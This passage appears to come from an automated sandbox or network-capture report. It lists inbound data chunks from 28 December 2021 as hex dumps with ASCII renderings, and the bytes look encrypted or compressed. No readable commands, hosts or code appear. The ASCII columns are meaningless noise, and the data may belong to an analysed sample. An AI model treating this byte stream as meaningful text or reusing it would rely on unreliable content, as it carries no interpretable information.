6d 67 2e 36 85 37 2e cb 9f 09 5e a1 b2 ac 08 48 fe f0 54 Data Ascii: $g!He%k&aCAkllvzS_"c:zpw{HU6^YJc4H+MP7rA}6B<HHS4:KSDtYg'-}F25C2n3Z&[LwN>b2ztL74t>7:&mg.67.^HT
2021-12-28 17:13:33 UTC	879	IN	Data Raw: 1b c5 95 41 b5 6e c2 1b 53 12 94 92 e9 81 69 7c 2a 99 e8 ed 02 9c 64 a1 9e 70 04 81 a6 25 84 a5 66 77 f8 0a 3f b9 db ab 54 82 a0 77 02 27 52 c7 25 1e a0 2f a4 45 09 44 25 39 21 6b 92 af 77 17 fe e1 e7 6f b2 9a b3 d4 fa d9 fc d8 54 17 49 c9 9b b5 ee 33 51 7f 46 f7 74 b9 17 7f 81 2a 33 52 c9 1b de 9a d5 7e b4 94 c8 08 2e 7c 47 50 82 7f 81 e1 e6 0d 22 ae a8 18 82 61 f0 26 12 6a 77 02 dc a3 b1 b2 ce 8e 8b 4b dc 16 68 12 2a ae 02 b2 8a dc 96 8f 42 b1 cf 8a 6f 4e 46 7f e0 76 c6 ff dd ec 2f 91 62 d4 e3 63 28 8d 14 c9 b5 ce 02 62 bf fc 39 37 31 c1 ee 8b 4e 19 a7 a6 88 90 38 c8 f1 3b c1 b6 06 ec 0f ff a9 35 eb c7 d7 c7 65 91 f6 97 d9 08 e4 0f b3 9d 15 5a 28 54 6a 90 d5 ab f9 df e4 3a 55 c1 55 7b ef e0 9a 58 77 f6 3e 5f 8f eb bb fc fb c3 3b b2 94 15 6d 05 af a9 f3 Data Ascii: AnSi\|dp%fw?Tw'R%/ED%9!kwoTI3QFt3R~.\|GP"a&jwKh*BoNFv/bc(b971N8;5eZ(Tj:UU{Xw>_;m
2021-12-28 17:13:33 UTC	895	IN	Data Raw: 41 0e e8 2d 56 03 61 86 24 c8 61 0c 6f d6 d7 ab e7 95 4d 40 52 fc 0c ec 59 10 fc 5d dc 4b 1f b0 1f 72 50 7d 35 79 a5 92 9d 41 4c cc 95 a1 dc 8c f7 3b 2a 39 71 1a 65 29 e3 52 2a be 2a 07 e3 1f 02 bb 42 03 5e 57 91 86 f3 e8 ee e8 18 df a7 93 6e 0f ce 20 44 15 ab 7b 6e 21 0d ad 86 be 37 44 18 4a b7 ba cd da 0f ff 4f 60 4d 01 a1 3a 54 f7 f3 c8 7e f5 4b f1 53 9a 43 e7 fb c0 7a 34 e1 09 87 9f 7a 9c a7 cc 02 0a 06 54 b5 f7 87 e0 83 84 2f 7e 61 25 5f 03 58 b4 7f 2b b1 ab 1d 5f cc 79 a2 49 2e c3 9f 51 ea c1 ad 29 81 40 32 c6 2a be d6 28 80 67 69 c1 db c9 16 68 95 98 98 8e 84 97 1b 28 ae f1 95 91 b3 ab 70 98 96 dc 0c fc 60 23 49 40 4b 65 0b eb f2 65 54 e4 46 00 02 aa 5e 74 9c 30 fb ce f4 b4 e2 75 ad f9 49 e3 e4 de 43 74 b9 cd 32 c6 09 2d 59 fb 1a 17 d1 57 77 da 7b Data Ascii: A-Va$aoM@RY]KrP}5yAL;9qe)RB^Wn D{n!7DJO`M:T~KSCz4zT/~a%_X+_yI.Q)@2(gih(p`#I@KeeTF^t0uICt2-YWw{
2021-12-28 17:13:33 UTC	911	IN	Data Raw: ab 16 0f 23 76 ce b3 5f 3a dd bb 60 01 dc 5e 26 24 ec 52 f4 4f bd 03 d4 95 ad cb f9 9c 40 0a d5 3a 12 ae 4d a3 0d 66 c2 7c 5c e7 74 66 e3 16 7d e8 0c 83 f3 92 0b 88 23 fc c5 62 bb 0a 23 78 e0 9d 50 e5 48 5d 84 74 8e 03 78 b0 73 08 24 4a b9 5d 55 e4 3f 65 e9 ed e8 9b 2a 36 ed 30 4d aa c1 29 66 08 45 49 8f 3d c7 e4 28 fc 14 79 c8 88 c8 70 01 84 b0 3e a2 d8 c5 dd 71 35 a4 85 d4 9f 0f 9c 63 6f 2b 64 23 3f 63 07 02 69 1d 7f 52 29 26 05 cf b9 f3 c3 0e 19 cc 58 8c c9 5c db e5 9b 2a 98 d7 3f e9 55 04 0c a3 ce 3e b0 f1 a5 67 59 24 c6 ec ae c8 82 36 f2 c3 fa 02 62 21 5b 9a 02 d9 5e 67 fc b4 f4 5e fc ae 3d 7d 33 f3 14 36 8c 53 ab f4 c2 23 a5 ec 54 5e 3c 7c f6 f3 f1 a5 3b 62 7c 97 79 b5 5b 0d cb 21 af 92 a1 75 bf 90 ac ca 5b 80 46 73 2a a2 b3 8e d4 34 48 b6 8d 53 f9 Data Ascii: #v_:`^&$RO@:Mf\|\tf}#b#xPH]txs$J]U?e60M)fEI=(yp>q5co+d#?ciR)&X\?U>gY$6b![^g^=}36S#T^<\|;b\|y[!u[Fs*4HS
2021-12-28 17:13:33 UTC	927	IN	Data Raw: 4a 41 22 1c 12 2a 93 ed ff e5 3a 01 0b f4 73 a3 67 b3 2c 6e 4b 02 78 74 02 42 b6 9f 5f 6b 43 aa 3a ac 21 09 13 4b c5 e3 e9 2f b3 6d b7 ea 73 b6 bf c3 bd 49 b3 6a 02 03 35 cc 74 9b 2c 3f 1f 8a d9 1e be 43 32 6b 5b 65 ce f6 4b 67 4b 3e 57 d2 26 ff 7b fd 66 3f 6f 54 a4 69 2b 62 e8 1e ba 20 8a 64 46 78 88 ab 3e 07 53 00 b2 ba e9 01 d6 33 53 b2 a4 5a d4 30 05 7b a9 e2 e1 c4 0b 20 25 a9 2c 46 51 b1 df c8 24 b1 66 4e 9b 25 2c 4e f9 91 a7 5e f1 80 29 79 40 fd 82 c6 5e 4d 6e 93 51 bb 5a 70 1e 7e 09 fb 73 e7 3f d1 6a 5c 75 22 94 a7 66 90 7a 46 0f 9f 87 d6 3e 71 84 ad e3 af bb a0 1e 8c d2 04 d7 8c e6 18 83 4b e8 70 b6 20 11 f3 97 fe ae 9a e8 03 45 1e 0f c9 3e 68 09 af 38 fa 3c 7f 62 64 6e 79 b1 3f 13 cb 47 e1 ad 31 f5 92 21 cf 95 20 53 f6 d2 67 dc 3e 71 e5 9e 20 3a Data Ascii: JA"*:sg,nKxtB_kC:!K/msIj5t,?C2k[eKgK>W&{f?oTi+b dFx>S3SZ0{ %,FQ$fN%,N^)y@^MnQZp~s?j\u"fzF>qKp E>h8<bdny?G1! Sg>q :
2021-12-28 17:13:33 UTC	943	IN	Data Raw: 8a e9 d8 d1 0b a9 d2 23 dc 67 13 23 23 a7 fd 7c 00 db 05 74 06 94 dd 71 e0 81 0a 03 aa be 1c ff 7d 19 5c ba b2 df d3 af c4 6c 2c 71 cf a7 ba c2 f6 d7 73 bf fe c1 0b f6 7a 72 6d 8f fa 5c 46 ec db cb f7 f8 4b 59 2b 72 5f c7 3a 65 ab 98 a1 09 15 01 43 3b 15 d1 78 9c 41 75 aa a4 9b e0 87 8a fc 26 16 af d3 6a c2 74 b8 f4 d6 7e b9 df ed 1b 48 c7 b9 37 e3 61 ba 42 dc 3d f4 d2 81 7d 25 ef 5e b4 95 37 21 09 c3 a2 0f 12 ae 63 cf be da 3a 95 e3 2b 85 69 ac 3a b4 e0 6a 75 7c ad 59 16 8e 39 5a 3a 28 0c a4 15 03 85 a4 d1 71 3e 64 54 81 90 93 00 a0 7e 7e 52 b4 5b 9c 39 1b 59 7a 01 ff 70 59 5d 76 67 3d 58 fc 48 02 d8 73 02 13 55 37 58 dd 1e bf 0b ca 44 9d e2 8f 96 c0 0b 7b a7 2f e9 c6 6a e2 d5 8b 2c 50 d8 de 6b ff ae 38 5c 73 fe fa 72 86 c7 53 65 ae a9 36 dd a4 3c 2d 30 Data Ascii: #g##\|tq}\l,qszrm\FKY+r_:eC;xAu&jt~H7aB=}%^7!c:+i:ju\|Y9Z:(q>dT~~R[9YzpY]vg=XHsU7XD{/j,Pk8\srSe6<-0
2021-12-28 17:13:33 UTC	959	IN	Data Raw: 8c 1f d2 84 56 8f 87 8c 83 ab f4 e9 26 ce 22 ff f4 b6 04 34 5b 6e 86 29 24 68 a1 02 fe 02 bc 76 c1 f7 13 40 c6 e5 52 ef b3 62 39 a0 25 ab c0 8e b8 e7 e0 fb e8 47 43 2a 94 61 b5 d9 60 30 a0 7e 98 24 93 f2 bd ee 66 2f 4b 5d 4c 79 4c 39 71 5b c9 80 0c dc fc 51 29 1a d5 79 e3 b2 0e 6b 43 11 ba ee a2 32 9a d4 35 95 23 a1 99 e1 2a f3 ff 8d 01 02 f4 ad 84 f4 35 cb c9 b1 fa cc 94 0c 09 d0 61 6d 36 2a 03 7b 5a f3 b3 b8 ed 01 37 a0 73 15 80 b3 d2 a0 8d 26 c4 dd 99 1a d8 13 53 bb d6 9c 59 a6 57 ce 25 48 4c 94 40 76 50 50 3f b2 f8 aa 88 c4 d4 b5 32 9d 17 3f 6a 17 2e e0 0b b3 3c bf 18 de 71 40 72 cc e0 94 b3 20 42 ee f8 5f 7d a0 bd 87 dc 6e ee bd cd f7 b6 3e 8d e6 dc b8 0e a7 0f f7 13 35 17 51 4d b3 eb d9 cd 93 54 bd b4 5e d5 e0 15 2c cc b4 90 e4 77 d0 e1 40 65 4f de Data Ascii: V&"4[n)$hv@Rb9%GCa`0~$f/K]LyL9q[Q)ykC25#5am6*{Z7s&SYW%HL@vPP?2?j.<q@r B_}n>5QMT^,w@eO
2021-12-28 17:13:33 UTC	975	IN	Data Raw: 49 84 cc e2 e9 c6 07 a8 18 cb d0 dd 24 72 31 ff a9 b5 df 7a a8 c0 48 b2 a1 a0 12 93 84 7b 5d 3b e7 78 15 94 62 58 80 02 76 d4 ac 43 28 11 69 f2 78 9b 20 94 47 f1 c8 f5 90 37 51 f7 9f 16 c3 1d 9e e7 da b5 9f 23 6d 66 bc 3c 89 a6 0b af 0d 87 97 15 0e 78 90 94 5d b5 6b a6 bb 57 f8 ea 35 9b 82 00 6d 8d 8a cb 5c 12 4e 9c bd 25 83 0d d7 44 ea 2f 2b 15 d3 95 f8 25 1f fb be e1 f5 b9 f2 f6 ed 39 1e ea b1 61 5f 4b 68 ca 4a 06 e4 be 0c 96 d2 41 eb 46 a7 79 60 79 b0 b2 c6 c7 45 bc 1f b8 bb 5a 2e 10 f8 60 4a b3 38 ee 3b 97 bf 48 91 4d b3 ae 99 26 48 45 d3 22 43 77 30 98 e2 4b 51 9d 35 cb 25 58 b1 4a e3 68 f6 e2 7a 2a 81 ee 80 c3 5c d6 7c 02 60 18 f7 2b 23 21 65 89 f3 3c 17 6c 72 f8 ba cb 5a e0 b2 9f 0a 59 f9 fd 46 0b 17 1b 3d f6 41 8b ea b7 81 60 88 75 02 6d 91 24 fc Data Ascii: I$r1zH{];xbXvC(ix G7Q#mf<x]kW5m\N%D/+%9a_KhJAFy`yEZ.`J8;HM&HE"Cw0KQ5%XJhz*\\|`+#!e<lrZYF=A`um$
2021-12-28 17:13:33 UTC	991	IN	Data Raw: 9f 11 19 fa 12 5a 06 e6 c6 d1 de ef dd 6b f0 28 8a e2 6b 42 e4 b5 b5 75 a1 69 34 1b 8a 07 0b 8c 14 ff 15 dd b0 65 00 82 51 71 8e 3a d5 50 0d 36 83 45 8b 2f e8 97 19 dc 65 1f 53 10 16 29 a3 f2 a5 89 60 36 44 41 d4 97 ba 57 72 41 fb 05 ab 48 9c a3 0a 5f c8 28 ac 35 ad 82 e7 d3 a6 ee 1b 3a 9e 87 eb 69 12 88 a7 c8 8c c4 a3 48 24 f6 fa b7 01 55 c7 3c e6 f3 d9 10 23 e1 70 f6 be aa 86 ac be 00 5d b5 a9 55 b3 19 9c 97 51 31 3d fe b9 48 3c 9c 48 73 43 63 8a 66 d2 4c 89 f3 c1 53 ce 81 7c 76 31 c4 f6 1a f0 d5 b4 70 69 99 36 b9 d1 96 f5 37 d7 58 57 e8 d0 d6 f5 d9 1f e8 82 38 83 87 8f de 21 e0 56 74 32 48 a3 0c 70 11 f5 f1 c6 c1 23 77 a8 a6 eb 3f 49 93 08 89 4e 53 6a 3a d2 e3 f9 10 51 a1 42 89 fe ba d4 36 a3 a2 7a 1c 87 b7 35 62 eb 31 88 9b 96 f3 45 a9 a2 6a fd 65 de Data Ascii: Zk(kBui4eQq:P6E/eS)`6DAWrAH_(5:iH$U<#p]UQ1=H<HsCcfLS\|v1pi67XW8!Vt2Hp#w?INSj:QB6z5b1Eje
2021-12-28 17:13:33 UTC	999	IN	Data Raw: 63 f8 6c f9 96 9e 6f 11 ce 60 85 8f f4 91 21 39 1c 12 7b 86 51 33 aa a4 eb d5 09 87 9d 27 50 c6 2f 50 3e 16 f4 da 9d 57 0f 33 42 e9 1e 1e 98 2c 34 e4 e1 e9 46 90 75 25 47 7a bf 55 f0 70 eb 18 4f 5c af 21 81 9e ef 21 2d 9c 79 60 c2 c1 71 16 e1 c6 f6 4b f5 10 5e 57 d5 c9 49 c7 a5 3d 1f ae 0f 0d b2 20 9a 12 67 da ef ad d6 b8 37 9c 28 ce d1 56 e9 2a 28 c9 1e f6 1d 65 cf 14 b6 b6 28 81 cc 10 46 d6 3b 77 db f5 f4 a4 cc e8 18 15 0d 50 38 31 dc e7 f1 16 8f ed e8 6d bb df 73 71 78 e8 81 06 42 0b 2c 80 73 87 8e d1 21 46 e4 bc eb a7 05 bf a3 f3 05 e4 e7 f2 9b 83 36 b5 66 52 c0 92 32 32 d3 5e d4 5f 95 4a 37 f5 7b a0 be 4e f8 21 7c f8 17 bf a4 aa 0e 70 53 5c dc 84 b2 fe 8d 11 6b f7 2c 6c 36 0b 3e d3 19 5f 53 af 6e e1 89 c9 48 c8 5e 70 cf b6 fc df b8 48 ea d5 1f 7b 09 Data Ascii: clo`!9{Q3'P/P>W3B,4Fu%GzUpO\!!-y`qK^WI= g7(V*(e(F;wP81msqxB,s!F6fR22^_J7{N!\|pS\k,l6>_SnH^pH{
2021-12-28 17:13:33 UTC	1015	IN	Data Raw: 80 74 86 01 d9 c3 bb c6 46 92 b7 c0 5f 85 67 00 55 6e b4 45 48 bc c3 a5 3f 0d 6e c4 5a a2 cf c2 e3 ac 04 58 c0 a4 b5 3e c8 b6 70 4c ec 28 f5 83 4b dc 1b ad 5a 73 38 41 bb a2 a4 07 f6 f5 4e 7b ba 3e 24 b0 f9 f1 82 78 17 83 e4 56 66 b9 e2 4a 55 31 03 88 ef 92 6e 9a cd d6 78 34 4d 46 ed 7f 79 d9 02 42 b4 c4 08 bd 8d 08 ed 67 d1 fe 17 e5 26 95 b7 4e f6 47 cb e9 4d 89 73 1d e1 5a b9 9b d9 0c 27 bd c5 23 69 46 21 68 c3 2e 4a c6 c8 0e bb 55 3e e6 72 0d 31 7d 93 5a 4c 7a 36 35 37 27 3c 3d 8f e6 8d f1 12 9a c2 bb 31 cb 99 ee 93 83 00 87 9c ed c2 1c 72 cd 72 f9 9c 9f f1 6c b4 46 2d ab f6 c9 71 7d 06 db fa ee 80 3e ae 6e d9 2e 37 d8 9a 64 99 70 ee 77 43 43 4a f0 d6 c0 98 a5 4d 34 67 14 2a 2e b5 3b 4a 94 a7 a9 42 64 47 01 92 e3 db d0 2c 0b 92 67 c8 fb 7c 6f d7 6e 92 Data Ascii: tF_gUnEH?nZX>pL(KZs8AN{>$xVfJU1nx4MFyBg&NGMsZ'#iF!h.JU>r1}ZLz657'<=1rrlF-q}>n.7dpwCCJM4g*.;JBdG,g\|on
2021-12-28 17:13:33 UTC	1031	IN	Data Raw: b8 0c 01 90 ed 6c 2b 9e a6 f0 9c 06 d2 0e 76 c6 c3 98 50 31 21 65 1d 84 31 59 0f 4b d6 dc e1 75 f8 db a1 cc e3 56 71 81 4d 38 38 a5 c4 d9 56 7b 77 a4 c2 f1 b8 20 c9 8e bc 5b d9 05 76 e9 88 73 79 e6 56 5b 27 77 09 c2 b0 67 67 36 d7 fe fb 66 49 b6 80 eb 3f 70 ed db 78 fc 0d 9c 82 af 7d 2a af d1 6e 35 4b 6b 3d 7e cd 67 07 3b 9a 7e 63 bc a6 62 12 62 53 d7 d0 a9 b8 68 4c c8 3c 1e f3 09 ae 43 06 af 2a c1 de 72 b0 67 9e 3d 92 39 84 2d ba 39 df 85 84 6a e9 80 1d 6b 5f 00 f1 12 61 f3 59 40 1b b0 1f d3 57 5d 9b 3a f2 34 bc fd 48 7f 7b c0 3a 97 ad 6a 8a 66 89 35 aa 14 0f d4 68 90 d5 fe 43 b4 70 7b 07 37 e5 f4 22 b6 5e 2f 30 68 65 fe d0 f7 44 1c e4 e7 44 80 eb d3 bb 2b de f1 56 2d 72 27 91 21 ae f8 d3 4a de 49 20 e6 0b fb 1a a3 ef 0d 31 77 91 26 d8 63 23 80 b3 20 09 Data Ascii: l+vP1!e1YKuVqM88V{w [vsyV['wgg6fI?px}n5Kk=~g;~cbbShL<Crg=9-9jk_aY@W]:4H{:jf5hCp{7"^/0heDD+V-r'!JI 1w&c#
2021-12-28 17:13:33 UTC	1047	IN	Data Raw: 20 8b ad 42 0a 44 ae 14 fe d7 aa 1b c7 97 50 8a 74 bb 67 b5 ac 1b 3c 96 58 f9 fc 7e f1 63 57 34 50 da 9e d0 af 53 67 ab 65 67 d4 1a a2 e4 22 72 8c 7d 1b cf 9b 42 98 f5 f6 20 ad a5 ac ab 36 13 48 25 24 c0 89 6e e3 b6 e0 9b 88 67 6d 25 e1 19 3b a7 3a 65 8b bf 45 69 52 57 c6 77 1e e6 a2 da 5f ac e6 63 e2 c7 8b c0 db 5c 03 d4 2a 6a d4 40 6e d9 70 01 4a 16 49 49 da 23 05 da ff 30 d1 60 26 65 18 7a f6 e1 39 27 d4 e3 df b3 b2 26 bb 73 b7 33 f9 29 4b 27 a1 b7 6e 00 2d 66 af 27 3f 9c 6f 67 52 6f 33 87 9a c4 1a 28 db 23 94 d7 c2 55 4a b9 cc b6 ee f7 c8 d1 c6 76 7d 2e 04 1f 91 48 cd b8 85 36 14 18 fc ce d3 05 1c 5c 9b 75 9d a2 aa 66 61 df 84 33 85 85 f7 92 17 bd c3 c1 e5 0c 99 55 0e dc 21 a3 7c 5e 72 db ee 13 1e d0 b4 4c 60 31 62 b8 1a a4 25 a4 99 e2 73 1c 4e 2b 57 Data Ascii: BDPtg<X~cW4PSgeg"r}B 6H%$ngm%;:eEiRWw_c\*j@npJII#0`&ez9'&s3)K'n-f'?ogRo3(#UJv}.H6\ufa3U!\|^rL`1b%sN+W
2021-12-28 17:13:33 UTC	1063	IN	Data Raw: d4 7b dd fc 85 f3 93 59 52 2c 12 cb 97 b0 bf ea 1c 1e 82 77 48 e9 30 93 fa 8b 05 67 bc c9 0a 68 b9 b7 fc 6c 8d c6 f8 d8 d0 06 e8 ef 46 70 b9 96 7d bd 68 8c 4a 68 d2 b0 b3 e9 93 28 0f 35 2e fc f0 9d d8 9e ae cb 0a 7d 12 b0 80 a3 5e 31 83 97 33 d8 8d 71 15 65 94 b5 48 2e ca 71 43 f9 fe 9e 15 88 87 fc 1a b3 29 64 72 53 3f b8 57 c4 86 86 2e 19 ee 21 60 f3 ab b4 99 65 03 aa fd 4f dc 82 e6 93 20 1e 01 d9 a1 d0 db 9a c0 be 9e ff 35 78 a7 c7 a4 b1 16 f3 90 d3 67 7a 8d 93 25 71 2e e8 f2 11 96 45 b4 72 4b c8 fa 75 f0 58 be df 6e fb 53 98 68 11 64 1c 61 9c 8e 4c 4a 79 56 75 8a 3f ab 7c a1 4c a0 6b f6 33 d2 fc f8 d2 2c 35 e7 91 46 49 cd 3f 21 ac af 7a a8 63 c6 5b d8 6e f9 8a fd cc bc 87 34 76 9b 23 9d e7 34 75 50 7d 13 d6 7d df d3 0b 30 e7 c0 11 b0 b0 0e 03 c8 e1 63 Data Ascii: {YR,wH0ghlFp}hJh(5.}^13qeH.qC)drS?W.!`eO 5xgz%q.ErKuXnShdaLJyVu?\|Lk3,5FI?!zc[n4v#4uP}}0c
2021-12-28 17:13:33 UTC	1079	IN	Data Raw: 7c 35 86 b0 89 6f 3b 51 65 ef 9a 3e c8 db 24 e2 b8 56 48 ce 24 93 98 29 0e 5b eb 50 cd 18 19 4d cf f7 e3 bc 78 ac c0 e8 71 07 21 e6 3d 7e 64 59 9a ef c7 db ca f2 bb e2 c1 54 62 e1 50 3b 28 16 f7 21 eb 9b ab 21 54 f8 3c fe 04 d0 27 82 18 fb 81 37 45 e0 ee 2d 43 f9 5e cd 4c 5f 0c e6 07 f7 bc 5b 6a 95 ab bb 6d 9a 3c f8 81 8a d5 4e 87 01 4c 22 d5 9b 7d de b8 d0 cb 66 66 d1 f2 57 d6 b6 15 ae 3e 6e 68 f1 f8 aa 20 83 a2 6b 6d 5d a6 3e 1c 2a ee 85 ea f1 4b 5d c9 a5 37 b6 95 a8 db b3 0e c3 aa 17 36 66 9e fe ea 54 95 ff 02 34 47 41 04 c2 78 08 0b 66 5a 3c 87 83 fc 31 d9 a1 d6 83 90 61 d9 c1 bf b2 c5 b7 df ca da 2e ff 9c 8c eb 7b 1f 44 e4 fd 97 c9 34 c3 d0 d8 17 c4 f3 aa 55 6c 33 0f b9 26 84 ba 49 4d 6d 99 46 5e 5c 86 47 45 83 7c ad 65 f8 56 bb 6f 82 48 56 de 15 62 Data Ascii: \|5o;Qe>$VH$)[PMxq!=~dYTbP;(!!T<'7E-C^L_[jm<NL"}ffW>nh km]>*K]76fT4GAxfZ<1a.{D4Ul3&IMmF^\GE\|eVoHVb
2021-12-28 17:13:33 UTC	1095	IN	Data Raw: 35 d1 23 ac d5 01 b8 65 36 c2 c9 ac 02 ca 7b 99 c6 06 7b 6e 6c 8e e3 97 b5 4e 5e 9f 49 5c d1 ff f7 83 f3 48 16 71 77 b7 51 6b 7b b1 25 76 bf 61 70 25 8c 03 b1 57 02 46 32 67 f6 0f c9 26 df 99 a3 22 78 a9 a9 c8 ad 74 b8 39 cd de 9d f3 f4 d7 00 d2 82 7f 84 7f df 18 31 ca 13 fd 62 89 cc 5e 49 23 df bd 3d 0e c2 45 8a c4 b7 9a 25 18 f4 da 34 bb d3 02 8b 5f 01 80 16 62 da c8 0f 25 9b 77 de 03 6d 13 f5 32 61 e8 e8 64 3a d9 00 85 db ac dd f9 4a f3 93 9a cf 15 e4 df 03 f4 e8 24 fb 27 77 0c 92 a0 45 ff dd eb 93 37 78 ad ff 01 43 7a c1 99 d0 f6 7f 0f 7f 14 eb a3 5f a7 58 90 62 41 3a ff 8f e9 a0 99 2e 6c e8 a0 ef fa 2b 7e 00 64 c9 fa 2f b8 5c 64 dd 2c c2 0b 05 f7 ef 5d 9b dc 8b 68 33 ec e4 e9 a4 3f a3 f2 b2 1a d7 aa d8 9a 5d 83 d3 85 a8 30 a2 f9 85 ce f4 9f 11 a4 97 Data Ascii: 5#e6{{nlN^I\HqwQk{%vap%WF2g&"xt91b^I#=E%4_b%wm2ad:J$'wE7xCz_XbA:.l+~d/\d,]h3?]0
2021-12-28 17:13:33 UTC	1111	IN	Data Raw: 3c 80 ad de 9f cf ad cb d0 d1 9d 80 98 94 fe e4 45 38 39 d2 b2 bc 3c fb 36 eb 73 f4 74 52 fe 59 29 3c f3 d6 66 ba f7 93 c7 77 39 9a 13 be 82 5a 4c 03 03 7e 21 f5 42 c4 17 0f 24 ce 45 60 af f0 86 a9 64 95 20 21 6a b6 8d a4 e9 63 44 18 64 80 91 1c e1 69 1e 5f a4 b9 29 11 d7 5d ea 02 ac 2e 2d 05 a3 a7 a8 6d 49 ea ac 73 be 00 d4 1a 8d ae d7 7d cf a4 f0 08 a6 e1 b7 11 71 60 84 5e 7b bb 7a c1 ef e9 13 82 bf 4b 82 8c 00 56 72 7c cc db d9 83 78 a4 1c a8 f1 74 0b 0f ab 9b 12 2e a4 8e 9b cb ee 0d d4 50 ed 69 3d 33 2c d6 dd 68 7f b6 96 4b 2c 7b e0 bb 0e b1 4c 37 8d de 7b cc 5b 69 c6 c4 77 34 b9 54 ac 39 dd 2c 0b f3 27 0c 18 11 35 3f 25 f1 d6 db 92 fe 6a 71 e5 60 2e 2d d9 2b ea f9 0c b3 e0 07 35 e7 b2 1d cc 32 e4 19 cf 03 85 28 41 27 05 fa ac e3 14 11 1d 32 3e 7e 0e Data Ascii: <E89<6stRY)<fw9ZL~!B$E`d !jcDdi_)].-mIs}q`^{zKVr\|xt.Pi=3,hK,{L7{[iw4T9,'5?%jq`.-+52(A'2>~
2021-12-28 17:13:33 UTC	1127	IN	Data Raw: ba 3e 9c 4d 81 31 bf 61 11 7a 64 00 e0 78 c2 d8 a6 af 23 5c fd fb c3 d1 73 00 65 7e c8 9b 7f 71 64 02 8d 2a f4 ad 60 d4 12 e9 7c 56 57 21 a2 a7 46 40 7d 41 19 a3 8d f1 0f 0b a6 5f 65 2d ac 4f 8d 6f 36 4c 3e d3 ce 0a e7 c9 c9 14 60 49 78 23 c6 ab 1f 23 ff 8c f4 73 66 ac a8 61 e6 ce 93 e7 68 30 3c 58 98 12 b5 19 e6 0d 97 df 21 eb b8 aa 92 5b da d8 37 a9 2f dd b1 2a 37 22 73 45 e9 7a 5e 87 07 0a 84 18 ad 99 24 99 97 7b 79 fd 6d f3 4c 46 56 6c b1 32 62 6c 39 8d e1 e9 c6 1c 6f b1 d2 89 d3 4e ca 6c f8 2a 1f 59 f1 c8 c1 97 9a c9 06 72 6a 05 84 59 89 6c ad 7b 39 1e cf 4b 20 27 c5 33 ee 8d 8b 8a 9c b9 3e 1b ba e4 f2 e5 dc 7a 3f 80 ad 82 fa 46 1c c1 88 71 5a 01 1e 0d 0e 1b 4e c2 c7 b4 b7 58 e6 2b 23 a1 b1 72 78 ec aa 9d 37 20 8f 80 e6 2f cc 07 c9 59 5f 6e 98 71 d0 Data Ascii: >M1azdx#\se~qd`\|VW!F@}A_e-Oo6L>`Ix##sfah0<X![7/7"sEz^${ymLFVl2bl9oNl*YrjYl{9K '3>z?FqZNX+#rx7 /Y_nq
2021-12-28 17:13:33 UTC	1143	IN	Data Raw: 43 b7 be 22 99 4f 55 26 69 d6 6f d9 4e 41 f8 f7 fa 4f fb 58 df ad a8 43 37 63 13 a4 6d 00 8f 52 2e c6 86 06 bb 56 df 13 a9 74 cf ef ba e2 07 fc 73 82 78 8c 63 2f 17 a3 ed 89 14 63 d7 d2 79 ea 9e 40 b6 bb 75 d5 51 08 d5 8d 5b 15 d7 1a 76 e2 92 81 82 66 1b f1 ca 78 25 d6 7e 7f af 6a 86 6a a9 20 e6 10 83 eb 47 e0 cc a7 4c 98 12 d5 f0 43 cb a7 a1 e8 40 cb bf 78 5f a0 0a b9 47 3e c1 3a 63 b1 1a 52 ae 70 25 54 35 d5 f6 5c 13 12 2e 13 7b 0d 72 e1 b8 59 b4 ec 75 4c ca 6d f5 db ec b9 5d 3c 55 8a 7b 7a 59 72 65 13 f4 ad 1f f7 6b ae ab 01 9f bd 9d c1 e4 61 1e 15 70 3f d8 33 d5 f1 5b b9 ee 48 ef d8 93 75 82 d3 6a ee 2c d5 f2 0c 55 b6 57 82 7a 95 78 08 6c 94 cc d3 97 5b 35 3f 78 11 14 48 89 d5 89 b6 53 ac 34 e4 81 34 fa 49 66 41 29 3f 47 b0 7d 6a 49 e1 49 f8 58 54 52 Data Ascii: C"OU&ioNAOXC7cmR.Vtsxc/cy@uQ[vfx%~jj GLC@x_G>:cRp%T5\.{rYuLm]<U{zYrekap?3[Huj,UWzxl[5?xHS44IfA)?G}jIIXTR
2021-12-28 17:13:33 UTC	1159	IN	Data Raw: f9 a1 e6 7f d5 2b be d7 15 8c c9 71 cb 22 bd d1 ad 73 a3 52 fc 21 c8 72 f9 da 4c 93 79 4d f4 4d 8c 88 21 99 fe c1 d7 54 ce ae 21 09 19 23 62 08 8b 3f 92 a8 7b 4c 0a 12 b2 62 a1 c8 09 99 e8 82 05 54 a3 c1 74 0b a7 19 99 fe 7a f4 7b 0b 59 cb 4f ea 6e c5 28 a4 44 29 0a 57 f7 28 c1 1f c6 b6 ac 4e 57 5f 2d 18 7c 97 e5 d3 da 6d 64 89 94 0f c0 5b d7 de dc 6f e1 97 fe d0 f4 65 a7 2c ef 1b e8 b4 4d 37 94 8f f1 45 a5 97 a4 cc 6a 58 41 23 19 13 b0 51 6f a1 78 11 38 8d 82 4a 1e a8 01 1e aa c5 2c 24 f0 bd e2 68 7e cb 74 37 68 5d 07 56 d9 74 f0 e0 5e 56 1b a3 64 83 d1 cb be c6 28 52 b1 be 63 58 98 a7 33 0f 32 3f 98 b0 b0 b7 c8 83 a1 6e 7c 6e 98 8b b0 65 23 49 ef 1b 07 f5 61 c0 cc 9e 50 79 48 99 f5 c7 4a 0f 9b eb d5 8d 63 0b b6 b1 67 35 94 41 72 c5 7f aa f4 f7 c2 4a 30 Data Ascii: +q"sR!rLyMM!T!#b?{LbTtz{YOn(D)W(NW_-\|md[oe,M7EjXA#Qox8J,$h~t7h]Vt^Vd(RcX32?n\|ne#IaPyHJcg5ArJ0
2021-12-28 17:13:33 UTC	1175	IN	Data Raw: 0b 30 08 44 f2 95 fc e1 f2 c1 e3 96 02 2e e9 98 97 71 80 e4 ce cb 0b 93 4d 8f 21 eb 9b c1 08 99 3b 38 68 9d 2c 21 7c 65 0b de a3 0e 5b 43 f0 db b4 4f ce 4b 77 fb 39 6a 06 36 38 22 47 3f 7e 5e ac 8a 03 32 35 8b 57 64 39 b3 ed 67 e1 ad 19 50 4f c1 46 27 fb fb a4 e2 a3 96 31 91 66 18 7b b3 b5 17 93 86 3c fe 5b c8 63 93 8a 02 75 83 30 21 ad 6d d8 2c ef 2f 63 d6 1d 6b 2a cb 45 11 63 43 37 41 5d ee 0a 0d 97 87 df 58 12 ef bd 8c 00 55 92 11 54 f0 37 5e cb 88 06 62 da 14 50 21 9f 57 b3 44 3f f0 8b 1e 8a 7c 12 b1 7f 72 d8 76 ae c9 28 9d 18 7a 46 e8 25 1e 87 35 b6 79 54 56 ea f8 67 44 0f 